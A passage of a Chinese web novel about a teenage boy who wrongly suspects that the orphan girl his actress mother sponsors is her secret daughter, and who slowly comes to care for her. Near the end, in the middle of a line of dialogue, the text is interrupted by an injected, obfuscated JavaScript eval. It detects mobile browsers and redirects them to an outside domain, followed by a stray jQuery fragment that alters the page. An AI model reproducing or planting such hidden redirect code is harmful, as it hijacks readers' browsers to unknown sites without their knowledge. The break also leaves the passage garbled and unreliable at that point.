蒋元磊看出他其实已经有所动摇,连忙趁热打铁:“被送到福利院的孩子,但凡手脚健全,没有疾病,都有人抢着领养。更别说像向宁这么漂亮的小姑娘,根本不可能留到十六岁。况且天下哪有这么巧的事,这个孤儿偏偏就和你妈同姓?” 蒋昭恒握着鼠标的手开始微微颤抖,目光牢牢锁住照片上的陌生面庞,没有注意到蒋元磊不着痕迹的一抹微笑。 蒋昭恒知道,向晚蘅一直希望能儿女双全。童年时,母亲亦常常问他:“想不想要个妹妹?” 难道说,这一切都是母亲提前十数年给他打的预防针吗? 这天晚上,蒋昭恒高烧不退,被复杂的情绪裹挟着给向晚蘅打去了电话。 电话接通,他开门见山:“听我爸说,您想收养一个十六岁的女孩。” 向晚蘅听完一愣,继而轻笑着嗔道:“他怎么抢在我前头告诉你了,真——” “我不同意。”蒋昭恒直接出言打断,“这个家有她没我,有我没她。” 向晚蘅沉默片刻,声音轻柔而无奈:“昭恒,以前我问你的时候,你不是也说想要个妹妹吗?” “这是一回事吗?”蒋昭恒取下额头上的冰袋,艰难地坐起身质问道,“我能接受家里多一个亲妹妹,不代表我也能接受一个不知道从哪冒出来的陌生人!” 更何况,这个陌生人还是他母亲的私生女。蒋昭恒不想捅破这层窗户纸,否则谁的脸上都不好看。 向晚蘅闻言深深一叹,对他道歉说:“这个决定是有些仓促,我应该先跟你沟通沟通的,但……” 她又是一叹,语气带上了明显的哀怜:“这姑娘真的很可怜,如果我不帮帮她,就没人能救她了。” 蒋昭恒冷冷道:“是吗,她怎么可怜了?” 向晚蘅张了张口,半晌都没有回答这个问题,只说:“我已经答应要收养她了,总不能中途反悔。如果先给了她希望,再让她失望,那得是多大的打击呀?” 蒋昭恒已经快要控制不住自己的情绪了,忿忿喊道:“你要是觉得你对她有责任,不舍得抛下她,那就给她钱啊!随你给多少钱都好!为什么一定要收养她?” 向晚蘅语塞,一个“我”字卡在喉咙里,许久都说不出话来。 蒋昭恒捏紧手里的冰袋,恍惚间,几乎感受不到它的温度。 不知过了多久,向晚蘅才终于做出让步。 “好吧,我再想想别的办法。” …… 蒋昭恒本以为自己这辈子都不会和向宁见面,没想到向晚蘅还是把她带回来了。 “只是资助,不是收养。”她这样对他解释,“先在我经纪人家借住两天,等这边的房间准备好了再回家住。” “资助,您还真会玩文字游戏啊。”蒋昭恒咬牙道,“有区别吗?还不是要同处一个屋檐下,让我恶心!” 向晚蘅眉头紧皱,尽力把唠叨和说教咽回肚里,只对他说:“你可以怨我一意孤行,可以对我发脾气,这是你的自由。但是昭恒,我希望你在宁宁面前能有所收敛,不要让她难堪,行吗?她没有做错什么,也不会给你的生活造成任何负担。” 蒋昭恒没有回应,转身回屋去了。 正式见面的时间在三天后,面前摆满了一大桌菜,蒋昭恒却一口都吃不下。 对面的女孩和照片上略有不同——原来的及腰长发被剪去了大半,只剩过肩长度;手上缠着几圈绷带,额头和唇角都有小块淤青,目光永远低垂着,仿佛除了向晚蘅以外,再不敢与别人对视。 一副惹人生厌的可怜相。 蒋昭恒偏过头去看蒋元磊,却见他毫无芥蒂,对面前的不速之客表达了最热情的欢迎。夹菜、倒茶、嘘寒问暖,殷勤得让人恶心,宽容得让人恼怒。 向宁总把“谢谢”挂在嘴边——谢谢叔叔、谢谢阿姨、谢谢叔叔、谢谢阿姨。声音轻如蚊哼,落在蒋昭恒耳中全都是恼人的“嗡嗡”声。 一顿饭吃下来,他从未和她有过一句对话。 当天晚上,蒋昭恒就填好了下学期的住校申请表。 此举多少有些赌气的成分,毕竟之前他从来没有住过校。 暑假还剩一个月。 他就再忍一个月。 …… 向晚蘅和蒋元磊都是艺人,忙起来总是不着家。 蒋昭恒为了避免在家和向宁碰面,几乎把自己的时间表排满了。 马术、游泳、外语、拳击,课程量全部翻倍。三餐都在外面吃,每晚十点准时回家,一进门就直奔卧室,耗到次日清晨再出门。 可惜这样高负荷的生活只维持了小半个月,他就在一次拳击课中意外肌肉拉伤,不得不停课休养。 打开家门时,蒋昭恒恰好跟门后的陌生人打了个照面。那是个年轻漂亮的女人,似乎正准备离开他家。 “你是谁?为什么会在我家?”蒋昭恒语气不善,霎时想起上次提前回家时撞破的丑事。 那人露出礼貌的微笑:“你好呀,你是晚蘅姐的儿子吧?我是来给宁宁上课的,我姓张。” “家教老师?” “嗯……也可以这么说。” 蒋昭恒面色稍有缓和,好奇道:“她在上什么课?” 张老师没有隐瞒:“我教的是普通话,其他老师负责教什么,我就不太清楚了。” 普通话? 向宁不会说普通话? 蒋昭恒闻言无比诧异。回忆片刻,忽又意识到自己几乎没怎么听她说过话。 带着疑惑回到卧室,蒋昭恒始终无法踏踏实实休息,只想尽快验证心里的猜测。 几分钟后,他就敲响了向宁的房门。 她很快应声而来,打开房门以后微微一愣,显然没想到敲门的会是他。 书桌上的小音箱还在播放音频,听内容,她应该是在做普通话跟读训练。蒋昭恒的目光落定在音箱上,忽然不知该怎么开启这个话题。 向宁顺着他的目光看去,不由生出了误会,连忙跑去关掉音频。 “抱歉,我吵到你了吗?”她双手捏紧音箱,低下头怯怯道,“对不起,我不知道家里有人在。” 不太标准的普通话,能听出些许口音。 “不用道歉,没吵到我。”蒋昭恒面无表情,语气略显生硬地问,“你一会还有课吗?” 向宁摇了摇头,仍旧没有看他。 “那行。”蒋昭恒的语气不容置疑,“一会我请你吃饭。” 向宁这才抬眼看向他,双眼写满诧异:“请……我?” 二人短暂对视片刻,这次是蒋昭恒率先移开目光,随口编了个谎:“我妈让我多关照你。” 向宁没有怀疑他的说辞,试探着迈出示好的步伐:“谢谢你,昭恒哥。” 这是她第一次叫出这个称呼。向晚蘅说过,可以这样叫他。 蒋昭恒听着却只觉刺耳,蹙眉道:“我不是你哥。” 向宁脚步一顿,垂眸不再出声。 蒋昭恒也意识到自己的态度不太友善,见她难堪,不禁也有点尴尬。 “直接叫名字就行。”他尽量缓和态度,奈何语气依然生硬。 向宁应了声“好”,没带任何称呼。 来到餐厅,二人相顾无言,吃了顿氛围诡异的晚餐。 餐后甜点是这家店的招牌冰淇淋,点餐时,蒋昭恒专门写了一条备注:【不要钢勺,要一次性木勺。】 毕竟他就是为了这碟醋,才包的这顿饺子。 “听我妈说,你是在福利院里长大的?”蒋昭恒冷不防问道。 向宁动作一顿,低声道:“小时候不在那,后来才去的。” 蒋昭恒有意套话:“那你对亲生父母还有印象吗?” 向宁点点头,挖出一小块冰淇淋往嘴里送去,不知是不是抗拒继续聊下去的意思。 蒋昭恒看着她,用视线描摹她的五官。不知道为什么,照片上的她很像向晚蘅,尤其是那双眼睛。 可是此刻,蒋昭恒面对面看着现实中的她,却无法在这张脸上找到母亲的影子。 犹豫几番,他终究还是没有追问。 次日一早,蒋昭恒就把两份DNA样本送到了亲子鉴定中心——一份是向宁用过的木勺,另一份是向晚蘅的牙刷。 加急报告要等两个工作日才能拿到,中间还隔着一个周末,愈发拉长了蒋昭恒焦虑的情绪。 奇怪的是,这份焦虑反而让蒋昭恒不那么抗拒回家了。 按理说,这个时间向宁应该也在家里,蒋昭恒却只觉四周静悄悄的,一点声音也没有。 “向宁?” 他站在客厅朝二楼喊了一声,然而迟迟没人回应。 难道她出门了?一个人? 蒋昭恒悬心半晌,门铃声突然响起,他赶忙跑去开门,本以为是向宁回来了,谁知来的竟是张老师。 她冲他露出标准的职业笑容:“我来上课啦,宁宁在卧室吗?” 蒋昭恒迟疑道:“我也不太确定,要不,您直接进去看看?” 张老师随即小跑着上到二楼,敲门没人回应,索性直接开门查看情况。 蒋昭恒慢慢走向楼梯,正在纠结要不要上去看看,还未做出决定,张老师便急匆匆跑下来向他问道:“你们家有药箱吗?” “有,我去拿。” 来不及询问情况,蒋昭恒火速取来药箱交给张老师,随她一起上到二楼。 向宁缩在厚厚的被子里,唇色比面色更为苍白。蒋昭恒在她的卧室门外止步不前,惊问道:“她怎么了?” “痛经。”张老师蹲在床边打开药箱,一边翻找一边询问向宁,“你有没有对什么药物是过敏的?” 向宁小幅度摇了摇头,声音有气无力:“不知道,应该……应该没有吧……” 张老师攥着一盒止痛药,却不敢轻易喂她吃下去,只得提议:“要不咱去医院吧?” “不、不用……”向宁探出一只手来,轻轻拽住她的衣袖,扯出一个勉强的微笑,“没那么娇贵,睡一觉就好了。” 张老师心疼地皱起眉头,关切道:“每个月都疼得这么厉害吗?” 向宁几乎用气声答道:“这次特别疼,不知道为什么……可能是水土不服吧。” “水土不服怎么会疼成这样!”张老师握紧她的手,“是不是饮食上不注意,吃得太冰了?还是穿得太少,着凉了?” 向宁不说话,只一味摇头,整个人缩成一团,大半张脸都埋进了被子里。 蒋昭恒搭在门框上的手骤然捏紧,不由自责起来。 向宁疼得厉害,灌再多热水也不见成效,只得吃下止痛药,一直折腾到张老师的下班时间才稍有好转。 蒋昭恒第三次给热水袋换上温度适宜的水,独自守在向宁床边,蹙起的眉头久久不能舒展。 “你来例假了,昨天为什么不告诉我呢?”他的语气难得轻柔,似乎有些无奈。 向宁的声音闷在被子里,听不出情绪起伏:“为什么要告诉你?” 蒋昭恒叹了口气:“你告诉我,我就不会让你吃冰的,你也就不会这么疼了。” 向宁吸了吸鼻子,没有答话,又把被子往上扯了扯。 蒋昭恒伸手去拦她的动作:“别总闷在被子里,不透气,憋坏了怎么办?” 向宁紧紧攥住被子不松手,用它盖住整张脸,带着几分哭腔喊道:“我又不知道来例假不能吃冰的!” 即便是喊,她也克制着不敢发出太大的声音。 “又没人告诉过我!” 被子里单薄的身躯开始发抖,抽泣声被压得很低,哭也哭不痛快。 隔着被子,蒋昭恒轻轻拍着向宁的后背,帮她顺气。 也许不需要看到亲子鉴定的结果,他心里已经有答案了。 向宁不可能是向晚蘅的亲生女儿。否则,她一定能享受到最好的教育和医疗条件,不会迟至十六岁才开始纠正口音,更不会连自己有没有药物过敏都不知道。 向晚蘅不是她的母亲,甚至……也许她真的很早就失去了母亲,没有一位可靠的女性长辈能给她传授生活经验,以至于她在万般委屈之下,才喊出了那句“又没人告诉过我!” 想到这里,蒋昭恒愈发内疚,再次伸手去拉她的被角,劝说道:“别闷在被子里哭,会缺氧的。” 向宁仍不松手,提出了一个条件:“那你不要看我。” “为什么?”蒋昭恒不解。 向宁将一只手缩回被子里,抹了把眼泪:“被人看到我哭,太丢脸了。” 蒋昭恒深深一叹,朝她凑近几分,柔声道:“可是我在陪你一起丢脸诶,你不想看看吗?” 向宁闻声偏过头来,短暂犹豫后,慢慢将被子拉下一截,露出蕴着水光的双眼看向他。 蒋昭恒没有骗她,他果然也在静静流泪。从什么时候开始的呢?连他自己都不曾察觉到。 “你有什么好哭的。”向宁别开目光,低声嘟囔道。 蒋昭恒低下头擦去眼泪,答非所问道:“对不起。” 向宁讶然望向他,有些无所适从:“我、我没有怪你呀。你又不是故意——” “对不起。”蒋昭恒打断她的话,再次道歉,“这段时间,我对你态度很差。因为之前……有些误会,我迁怒于你了,抱歉。” 向宁坐起身来,好奇道:“什么误会?” 蒋昭恒摇摇头:“误会已经解开了,就没必要再提了。” 说完顿了顿,又补充道:“我爸舌头长,你以后防着点他。” 向宁一知半解,捏着热水袋点了点头。 蒋昭恒从药箱里取出几盒止痛药放在她的书桌上:“这个你常备着些,吃完了就告诉我。” “谢谢你。”她说。没有称呼。 “你可以叫我‘昭恒哥’,或者,直接叫‘哥’也行。”蒋昭恒关上药箱,低着头轻声说道,“如果你愿意的话。” “嗯。”她应了一声,没有给出答案。 这天晚上,蒋昭恒给远在剧组的向晚蘅打了个电话,向她坦白了许多事——包括蒋元磊的背叛、挑拨、污蔑,和那份尚未得到结果的亲子鉴定报告。 巨大的冲击使向晚蘅久久说不出话来,甚至一时失去了思考应对方法的能力,幸好她的经纪人乔煦晗陪在旁边,帮她结束了这次通话。 “昭恒,谢谢你的坦诚。听我一句劝,如果想帮你妈妈,就别让蒋元磊知道他的真面目已经暴露了。至少在我想到办法保住你妈妈的财产以前,别让蒋元磊听到风声。” …… 蒋昭恒的十八岁生日就在几天后。此前每年生日,父母都会推掉所有工作回家陪他,今年却破了例。 向晚蘅情绪消沉,本能地抗拒回家和丈夫见面,蒋昭恒也很理解母亲的选择,私下拜托了乔煦晗好好照顾她。 他生日这天,蒋元磊一大早就带着蛋糕回到家中,兴冲冲地给儿子送上红包。 三人同坐一桌,蒋元磊让向宁帮忙插蜡烛、切蛋糕。 “别忙活了。”蒋昭恒与她对视一眼,语气不冷不热,“早饭就吃蛋糕,不腻得慌吗?” 蒋元磊表情僵硬一瞬,很快就加大了微笑的幅度:“那就先放着,中午或者晚上再吃。都行,反正我专门调了档期,今天一整天都能陪你过生日。” 蒋昭恒闻言哼出一声轻笑,端起杯子猛灌两口冰水。 气氛霎时陷入尴尬,三人加起来还没吃够两口饭,向宁就小声说了句“我吃饱了”,旋即起身小跑上楼。 待她的背影彻底消失,蒋元磊才玩味一笑:“这孩子,挺识趣的。” 蒋昭恒没有搭话,正准备找个借口出门,他的手机恰好在这时响了起来,屏幕上显示着一串陌生号码。 为了逃避父亲的“关怀”,蒋昭恒迅速接起电话:“喂,哪位?” 电话那头传来向宁的声音:“哪位找你最合理,能帮你脱身,你就当我是哪位吧。” 蒋昭恒闻言一怔,面上很快浮起微笑:“知道了,我现在就带她过去。” “什么事呀?”蒋元磊着实好奇。 蒋昭恒面不改色:“宁宁身体不舒服,我妈让我带她去医院看看。” “宁宁?”听到这个称呼,蒋元磊不禁讶然,“你已经迈过这道坎了?不介意她是你妈的私——” “管好你的嘴。”蒋昭恒连忙挂断电话,从衣袋里取出一份亲子鉴定报告,重重拍到蒋元磊面前的桌子上,“再有下次,我就把你那些脏事全都告诉我妈。” 谎言被当面揭穿,蒋元磊脸上青一阵白一阵,终于闭口不言了。 成功脱身的蒋昭恒心情大好,被他一起带出门来的向宁却颇有微词:“我一会还有课呢……” “我帮你请假。”蒋昭恒俨然一副兄长做派,“你总不能只顾闷头上课,连一个休息日都没有吧?” 向宁叹了口气:“好吧。你生日,你最大。” 蒋昭恒偏过头去看着她,犹豫片刻才道:“刚才……谢谢你了。” 向宁没有回应他的眼神,垂眸只顾往前走:“不用,小事。” 蒋昭恒又问:“你是怎么看出来我想溜的?” “你表现得很明显啊,而且……”向宁略一停顿,抬眸冲他笑了笑,“我还挺擅长察言观色的,这是我的生存技能。” 蒋昭恒眸中笑意一滞,下意识想说点什么安慰她,却不知该怎么做,只知道凭本能去轻抚她的发顶。 不料向宁倏地转过头来,条件反射般蹙眉道:“别摸我头!” 蒋昭恒连忙收回手,仿佛被无形的刺猬扎了一下。 向宁用一只手护住自己的脑袋,表情一本正经:“小时候我妈说过,总被别人摸头容易长不高。” 蒋昭恒只得作罢,同时咽下一句心声:其实她已经长得蛮高了。 “我们去哪玩?”向宁的问题打断他的思索。 蒋昭恒平时也少有出去玩的经验,只能从自己最熟悉的领域入手:“要不要去骑马?我教你。” 向宁想了想,摇头道:“我以前骑过骡子,感觉没什么意思,骑马也差不多吧?” 蒋昭恒又提出planB:“游泳呢,有兴趣吗?” 向宁挤出一个苦笑:“我不敢,小时候呛过水。” 还剩最后一个planC:“要不要试试拳击?” 向宁在沉默中眨了眨眼,不太确定地问:“咱俩……对打?” “想什么呢?”蒋昭恒没忍住一声低笑,“我给你当陪练!” “陪练……”向宁咂摸着这个词的背后深意,“就是挨打呗?” 蒋昭恒笑意不减:“也可以这么理解。” 向宁略加思索,很快拍板:“好,那就玩这个吧!” 蒋昭恒撇了撇嘴,刚想说一句:“合着你就想打我呗?” 向宁却忽而话锋一转:“等等,今天你是寿星,我要是打了你,不会折寿吧?” 蒋昭恒已经数不清是第几次被她逗笑了:“都什么年代了,别这么封建迷信行吗?” 语毕,他牵起她的手:“走吧,我让你打,随便打。” 两个课时玩下来,向宁仍有些意犹未尽,蒋昭恒索性给她办了张年卡,向宁却拒绝不收。 “哪有你过生日,我收礼物的道理?”她说。 蒋昭恒直接将卡塞到向宁手里,为防她推脱,紧接着把双手塞进风衣口袋,与她对视道:“我看过你的资料了,你的生日也是今天。” 向宁微微一怔,继而低头垂下目光,没有承认也没有否认。 蒋昭恒歪着头向前倾身,追上她的视线,轻笑道:“向宁,十七岁快乐。” “谢谢。”向宁的声音很小,“你也是,十八岁快乐。” 蒋昭恒目光不移,追问道:“谢谢谁?” 向宁不解其意,抬眼思考片刻,只吐出一个字:“你?” 蒋昭恒又问:“我是谁?” 向宁这才听懂他的问题,随即冲他一笑,第二次叫出这个称呼:“昭恒哥。” 蒋昭恒闻声一愣,也笑了笑,揶揄道:“昭痕哥是谁?” 向宁很快反应过来,不好意思地扯了扯嘴角:“我总是忘记区别前后鼻音,就连我自己的名字,也经常念错。” “向您?”蒋昭恒举一反三,“您您?” “别乱学!”向宁不满地“啧”了一声,蹙眉道,“学好不容易,学坏一出溜。” 蒋昭恒只得从善如流。 “说到学——”他的话题转得略显生硬,“你开学就要读高二了吧?” “没那么快,我之前在老家……”说到这里,向宁顿了顿,没有解释详情,只概括为一句,“断了一年,没上学。” 蒋昭恒知道她不想提起从前的经历,便没有深究,只问:“再过几天就要开学了,你这边是怎么安排的?来我们学校读吗?” “不不不。”向宁连连摇头,“我基础一般,肯定跟不上你们学校的节奏。” 更重要的是,向晚蘅怕她适应不了国际高中的环境,会被本地学生们欺负排挤。 “而且我的户籍和学籍都挂在老家的福利院,也不好进这边的学校。所以,向阿姨专门请了几个老师来家里教我,以后还是要回去考试的。” 说不清为什么,听到这个答案,蒋昭恒忽然有些失望。 回家路上,班级群偶尔响起几声消息提示。 蒋昭恒后知后觉地回忆起了什么,赶忙登上校网,撤回了仍在审核中的住校申请表。 没犹豫多久,又提交了一份不参与晚自习的申请表。 开学不久,蒋元磊偶尔回一次家,便有些讶异:“今天这么早就放学了?”都高三了,不应该呀! 蒋昭恒斜他一眼,不答反问:“你很怕我提前回家么?” 蒋元磊不悦拧眉:“有你这样跟长辈说话的吗?” 蒋昭恒没有理他,径直往楼上走去。 这段时间,向宁还在复习初中的内容,蒋昭恒便把自己的笔记都送给了她。 “有哪里看不明白的,可以随时来问我。”他说。 向宁嘴上答应得爽利,实际却一次都没去找他问过。 某日偶遇向宁的老师,蒋昭恒状似无意地问起了她的学习进度。老师详细回答完,还忍不住嘱咐两句:“家长不在,宁宁的学习就得你这个做哥哥的多费心了。” 蒋昭恒闻言有一瞬错愕:“她跟您说……我是她哥哥?” “没有,我猜的。”老师没想到他会这么问,“难道我猜错了?” 蒋昭恒的表情很快恢复如常:“大差不差吧。” 向宁听他转述完这段乌龙,不禁失笑,旋即拿起镜子照照他,又照照自己,反复比对几次后得出结论:“这么看,咱俩还真有点兄妹相。” 蒋昭恒不以为然:“哪有,我怎么看不出来?” 向宁却表现得十分笃定,朝蒋昭恒凑近几分,一方小镜子便同时照出了两个人的脸。 “你看,眼睛像不像?” 他在镜中和她对视。 “不像。”蒋昭恒立场坚定。 “随你怎么说。”向宁撇撇嘴,收起镜子回归正题,“我还有作业要写,不瞎聊了。” 蒋昭恒捏住她的笔盖,在试卷上敲了敲:“今天周五诶,你不休息休息吗?” 向宁紧盯试卷,摸索着从他手里抢回笔盖,随口敷衍道:“改完错题再休息。” 蒋昭恒仍不挪窝:“那我看着你改。” 向宁一手支着脑袋,斜斜与他对视,只是不出声。 蒋昭恒莫名被她盯得有些心虚,解释道:“身为哥哥,关心妹妹的学习不是理所当然吗?” 向宁没有反驳,低下头尽量忽略他的目光,认真在数学试卷上写写画画。 一路写下来还算顺利,直到压轴题才卡了壳。 蒋昭恒注视着她紧锁的眉头,目光时而在草稿纸上略扫一下,很快就发现了症结所在,却没有出言提醒。 他想知道,她会不会主动向他求助。 可惜,答案依然是否定的。 几次挫败后,向宁改换思路,从头算起,不料竟有意外收获,三下五除二就解出了正确答案。 她合上笔盖,冲他露出一个有些得意的笑容:“搞定。” 蒋昭恒对上她晶亮的双眸,不知为什么,忽然错开了目光。 “好吧,我承认。”他看向倒扣在桌边的镜子,“我们是有点像。” 顿了顿,又在心里补上后半句:但不是兄妹相。 至于是什么,此刻的蒋昭恒尚未完全想清楚。 或许,也没必要想得太清楚。 …… 尽管这段“亲缘关系”始于一个误会,蒋昭恒还是在不知不觉中承担起了兄长的责任。 每天出门上学前,他都会敲敲向宁的屋门,催促一句:“起床起床,老师马上到了。” 有时候,门内会传来一声含含糊糊的:“再睡三分钟……” 三分钟,正好够司机把车开出地库。 “计时结束,起床了吗?”蒋昭恒话中带笑。 向宁赖在被窝里接起他的电话,闭着眼睛一本正经道:“起了。” 蒋昭恒一听声音就知道她还没完全清醒,不由打趣:“宁宁,你真的很不擅长骗人。” 向宁没有反驳,不知是不是呛了口气,咳嗽两声道:“昭恒哥,上次那个药箱放哪了?” “在储物间A3柜最上层。”蒋昭恒敛起笑容,语气变得严肃不少,“你身体不舒服吗?” 向宁的声音微哑:“好像有点发烧了……” 蒋昭恒连忙嘱咐:“你先量一□□温,别急着乱吃药,我把家庭医生的联系方式发你,你现在——算了,还是我给她打个电——” 话说半截,她的一声轻笑突然打乱了他的思绪。 “我真的不擅长骗人吗?” 向宁的声音恢复如常,听不出丝毫带病的痕迹。 “如果是这样,那你还蛮容易被骗的喔。” 这一局输得憋屈,蒋昭恒苦思良久,也没想出能扳回一城的好法子。 放学回家后,他又撞上了一个新的难题——玄关鞋柜外摆着一双不属于任何家庭成员的运动鞋。男款,名牌,半新不旧,一看就是年轻人会喜欢的风格。 看到这双鞋,蒋昭恒的第一反应是——家里来客人了? 应该不是,向晚蘅和蒋元磊都在外地拍戏,只有两个小辈在家,即便有客人来访,也不可能在家里久留。 那么,会不会是向宁的老师? 也说不通啊!向晚蘅为了保证向宁的安全,给她请的所有老师都是女性,而且蒋昭恒和她们每个人都打过照面,谁也不像这双鞋的主人。 难道……是向宁的朋友来家里找她了? 这就更不合逻辑了。她在这边人生地不熟,也不爱出去社交,能有什么他不认识的朋友?总不能是老家的旧友,不远万里跑来这里找她了吧? 各种想法穿插交织,乱作一团,使蒋昭恒的脚步停在门口,久久不移。 也许这只是一个恶作剧,他想,也许只要他去找向宁刨根问底,她就会笑盈盈地揶揄他:“一双鞋就惹得你这么着急,你真的很容易被骗诶。” 如果真是这样,被向宁嘲笑两句也没什么。毕竟他只是在担心她的安全,表现得稍微有点着急也不丢人。 所以—— “宁宁。”他敲响她的房门,“走了,出去吃饭。” 屋门很快打开,向宁半靠在门框上,小声对他说:“稍等一下,我还没下课。” 蒋昭恒的视线越过她发顶,直勾勾看向书桌旁的年轻男人。 “这位是?”问句末尾拖着不悦的长音,神色倒是看不出情绪。 “喔,你好。”那年轻男人应声起身,“我是来给向宁上数学课的老师,我姓——” 不等他说完,蒋昭恒就问向宁:“原来的林老师呢?” “林老师是我母亲。”那年轻男人迎上几步,出言解释道,“她这几天住院,实在来不了,我就来帮忙代一节课。” 蒋昭恒似乎很不满他贸然抢话,抱臂质疑道:“林老师有二十几年教龄,你呢?有教师资格证吗?” 那人面上显出一丝尴尬,强笑道:“我……目前还没有考教资。不过我是T大数学系的学生,专业课绩点也一直名列前茅,教高中数学还是没什么问题的。” 二人说话间,向宁扯了扯蒋昭恒的袖子,大约是想劝和,蒋昭恒却不为所动,很快就再次发力:“按照宁宁的课程安排,这节数学课应该在十七分钟前结束。” 那人又是尴尬一笑:“是,但这节课的内容正好卡着两个难点,如果要讲透,难免得多花些时间。” “学生的时间也很宝贵,不是能被人随随便便浪费的。”蒋昭恒优越的身高带来了天然的气场优势,“授课超时,是老师的问题。在今天之前,她的所有老师都没出现过这种差错。” 那人只得表态:“放心,超时部分不会额外收课时费的。” 蒋昭恒冷笑一声:“你来帮林老师代课,事先跟我们家人商量过吗?得到过我母亲的许可吗?” 那人表情一滞,似是自知理亏,讪讪垂下目光,不再争辩。 向宁也是这时才意识到不对,立时瞪大双眼朝他看去,同时迈步向蒋昭恒靠近几分。 蒋昭恒跨步挡在向宁身前,继续对那人说:“别光顾着卷专业课的绩点,抽空也学学法律吧,至少先仔细读一遍我母亲和林老师签的合同,想想那份高额课时费到底跟你有几分钱关系。” 一提到钱,谁都不得不硬气几分。 “你这话说的,我总不能白给她上一节课吧?你爸妈都是明星,总不至于连这点钱都克扣吧?” 听到这里,向宁终于压不住脾气了,打算上前跟他理论一番:“你这人怎么——” 话刚起了个头,蒋昭恒就握住她的手腕,把她拉回自己身后,继而取来钱夹,数出几张百元钞。 “这节课的钱我来出,就按大学生家教的市场价给。”说着动作一顿,语气稍带阴阳,“喔,差点忘了,您是T大的高材生,那就再加250吧,不客气。” 语毕,蒋昭恒把钞票递到那人面前,对方来接时,他却没有直接松手。 “麻烦回去通知林老师一声,让她安心养病,以后都不用来了。” 那人却不甘心,还争辩道:“可是合同期限明明——” “都让你回去抽空学学法律了。”蒋昭恒的耐心已经所剩不多,“还不走,是等着我叫保安吗?” 那人见他是个硬钉子,只得悻悻离去。 警报解除,蒋昭恒长出一口气,回过头来本想对向宁说两句重话,让她长长记性,谁知他还没来得及开口,向宁就主动认错了。 “对不起,昭恒哥,我又给你添麻烦了。”她再次牵住他的衣袖,“林老师给我打电话说了代课的事,我就没考虑那么多,没想到他们根本没得到向阿姨的许可。是我疏忽了,还害得你破财……” 见她态度如此诚恳,蒋昭恒纵然有气,也不舍得冲她发作了。 可他仍然冷着一张脸,抽出手给她扔下一句:“过来,加课。” “什么课?” “作文课。” 蒋昭恒打开电脑,招呼一头雾水的向宁在他身边坐下。 “根据这几篇材料,写一篇不少于800字的作文,文体不限,诗歌除外,四十分钟以后交给我。” 向宁点开网页一一查看,这些材料全都是蒋昭恒刚刚搜出的新闻稿。 “男家教猥亵儿童……男老师猥亵学生……男大学生性骚扰女高中生……” 简略读完新闻内容,向宁一手撑着脑袋,叫了声“昭恒哥”。 蒋昭恒却端起架子来:“别套近乎,现在我是你的作文老师。” “喔,蒋老师。”向宁很快更改称呼,“我明白您的苦心了,以后保证绝不再犯这种低级错误。能不能……不写这篇作文啊?” “不能。”蒋昭恒答得不容置疑,“这是惩罚,也是锻炼。” 向宁随即更改策略:“可是我现在很饿诶,你总不能让我饿着肚子受罚吧?” 蒋昭恒闻言对上她的目光,却读不懂这话是真是假。 向宁似是想给他证明,又说:“不信你凑过来听听,我的肚子已经在叫唤了。” 蒋昭恒无奈偏过头去,嘟囔道:“谁要听你……” 没办法,他就是扛不住她这招。 吃完暖烘烘的烧烤,二人并肩走在夜晚的商业街上,向宁少见的十分安静。 蒋昭恒不太习惯,犹豫几番才主动发问:“怎么不说话,又在想什么鬼主意?” “没在想鬼主意。”向宁踩着地砖的方格线往前走,“在想你。” 蒋昭恒心中猛地一跳:“想、想我什么?”他就在她身边,有什么好想的…… 向宁不知有没有察觉他异样的神情,仍旧低垂目光看着脚下的细线,一步一步慢慢往前走。 “我在想——蒋老师,其实你不太适合做老师。” 蒋昭恒听完一怔,没有发表意见,心里竟有些说不清道不明的失望。 向宁自顾自继续说了下去:“我觉得,你更适合做律师。” “为什么?”这句话倒很出乎蒋昭恒的意料。 “我也说不清原因。”向宁仔细想了想,“可能是因为刚才,你跟别人交涉时说起合同和法律的样子,有点酷。” 说完脚步一顿,抬眸看向蒋昭恒:“就像电视剧里的律师一样。” 蒋昭恒实在不擅长应对她直来直去的夸奖,只能别开脸,岔开话题道:“剧是剧,现实是现实。” “嗯,我就随口一说,学法律应该会蛮辛苦的。”向宁继续慢悠悠向前踱步,“你明年就高考了,应该已经考虑好想报哪所大学、哪个专业了吧?” 蒋昭恒却没有跟她一起往前走,而是在原地停了几秒。直到向宁有所察觉,回身看向他时,他才回答这个问题。 “我……应该会申请国外的大学,读商科。” 向宁的笑容忽而僵住,很快又用力提了提嘴角:“那也挺好的。” 话题就此陷入停滞,直至二人回到家中,在卧室门前互道晚安时,蒋昭恒才忍不住问出了那句—— “我出国了,你会有点不开心吗?” 向宁的微笑过于正常,看不出任何违心的痕迹:“留学是好事,我没有理由不开心呀。” “那不舍呢,会有吗?”蒋昭恒追问。 “又不是以后都不回来了。”向宁维持着一贯的笑容,迟疑着问,“你……毕业以后会回国的吧?” 蒋昭恒沉默片刻才答:“我也不知道,也许不会。” “哦。”向宁没有回应他的目光,只用极轻的声音说了一句,“那……我会想你的。” 说完随即进屋,徒留蒋昭恒在门口站了许久。 …… 向晚蘅回家这天正好是平安夜,经过几个月的缓冲,她已经调整好了状态,表现得好像什么事也没发生过,甚至还能有说有笑地跟蒋元磊一起装饰圣诞树。 蒋昭恒私下问起时,向晚蘅则变得忧心忡忡:“财产分割的事很麻烦,得找个靠谱的律师,即便一切顺利,也得折腾好几年。” 说到律师,蒋昭恒难免回忆起上次的话题,不禁提出:“妈,如果我不学商科,改读法学, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992677|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你会反对吗?” 向晚蘅闻言一笑:“你是第一天认识你妈吗?我什么时候是那种独断专行,干涉孩子人生选择的家长了?” 说完转念一想,又敛起笑容,郑重其事道:“昭恒,你要是因为兴趣改变专业方向,我举双手支持。但你要是为了帮我处理家里的事,才头脑一热做出这个选择,我就不得不劝你一句了。” 蒋昭恒连忙解释:“和别人无关,是我自己的决定。之前想读商科,本来也有随大流的因素,现在……可能有些想法更清楚了吧。” 听他这么一说,向晚蘅就不再多问了。 